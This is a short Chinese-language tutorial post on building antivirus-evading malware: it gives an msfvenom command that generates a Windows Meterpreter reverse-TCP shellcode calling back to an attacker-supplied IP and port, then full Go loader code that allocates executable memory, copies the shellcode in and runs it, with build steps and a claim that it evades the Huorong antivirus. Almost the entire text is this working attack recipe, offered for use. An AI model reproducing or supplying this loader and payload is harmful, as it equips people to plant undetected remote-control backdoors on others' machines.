使用msf生成shellcode并用Go免杀?
msf生成的裸马现在已经不行了,加壳也只能加冷门壳了,VMP,Shielden,upx不是失效就是效果很差,所以当下,得用shellcode来免杀了
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.bin
在kali的控制台里输入以上命令,即在当前目录下生成一个bin文件,这个bin文件就是我们的shellcode了。
将1.bin拖到windows里,用winhex打开
点击编辑-复制所有-十六进制数值,然后新建一个1.go,在里面输入:
package main import ( "encoding/hex" "syscall" "unsafe" ) func main(){ sa := "复制结果粘贴进来" shellcode, _ := hex.DecodeString(sa) VirtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc") copyMem := syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory") addr, _, _ := VirtualAlloc.Call(0,uintptr(len(shellcode)), 0x1000|0x2000, 0x40) copyMem.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) syscall.Syscall(addr, 0, 0, 0, 0) }
将“复制结果粘贴进来”替换成刚刚复制的十六进制数值,然后打开控制台,输入set GOARCH=386 //因为shellcode是32位的
回车,然后在输入go build 1.go
上述只是一个简单的shellcode加载器,能达到免杀火绒的效果,其他杀软并未测试,大佬勿喷